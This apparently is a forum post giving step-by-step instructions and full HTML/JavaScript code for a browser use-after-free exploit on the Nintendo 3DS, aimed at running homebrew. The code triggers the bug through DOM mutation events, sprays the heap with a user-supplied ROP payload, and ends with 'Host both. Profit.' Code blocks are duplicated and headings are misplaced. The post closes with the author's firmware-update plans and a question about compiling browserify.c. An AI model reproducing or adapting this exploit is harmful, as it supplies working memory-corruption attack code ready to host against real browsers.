>Compile Browserify.
>Use Browserify to compile your loadcode binary as Javascript.
>Make a new .html document named frame.html.
>Paste this inside:
>Create another .html document named exploit.html.Code:<html> <head> <script> var nb = 0; function handleBeforeLoad() { if (++nb == 1) { p.addEventListener('DOMSubtreeModified', parent.dsm, false); } else if (nb == 2) { p.removeChild(f); } } function documentLoaded() { f = window.frameElement; p = f.parentNode; var o = document.createElement("object"); o.addEventListener('beforeload', handleBeforeLoad, false); document.body.appendChild(o); } window.onload = documentLoaded; </script> </head> <body> KEKEKEKEK... </body> </html> Create a new HTML file named "exploit.html" with the contents below <html> <head> <style> body { color:white; background:black; } </style> <script> function magicfun(mem, size, v) { var a = new Array(size - 20); nv = v + unescape("%ucccc"); for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv; var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a))); mem.push(t); } function dsm(evnt) { var mem = []; for (var j = 20; j < 430; j++) { magicfun(mem, j, unescape("YOUR PAYLOAD HERE")); } } </script> </head> <body> <h1 align="center">LOADING ROP...</h1> <iframe width=0 height=0 src="frame.html"></iframe> </body> </html>
>Paste this inside:
>Replace YOUR PAYLOAD HERE with your Browserift loadcode binary Javascript output.Code:<html> <head> <style> body { color:white; background:black; } </style> <script> function magicfun(mem, size, v) { var a = new Array(size - 20); nv = v + unescape("%ucccc"); for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv; var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a))); mem.push(t); } function dsm(evnt) { var mem = []; for (var j = 20; j < 430; j++) { magicfun(mem, j, unescape("YOUR PAYLOAD HERE")); } } </script> </head> <body> <h1 align="center">LOADING ROP...</h1> <iframe width=0 height=0 src="frame.html"></iframe> </body> </html>
>Host both.
>Profit.
Edit: I'm hopeful that Yifan posts some news, even slight, sometime soon. I am becoming terribly bored being on 8.x, and I can't update to 9.4 if I want to use the exploit he talked of. I have attempted to convert S3DST to 8.x, and have only got some of it to work. I'm tempted to disassemble my 2DS, see if the NAND set up is the same as the 3DS, hard-mod a NAND flasher into it, dump my current firmware, update, dump, play, then reflash 8.1 when he is done.
How the hell do you compile browserify.c? I run a command window, and it made the other stuff fine, but browserify is not specified in the Makefile.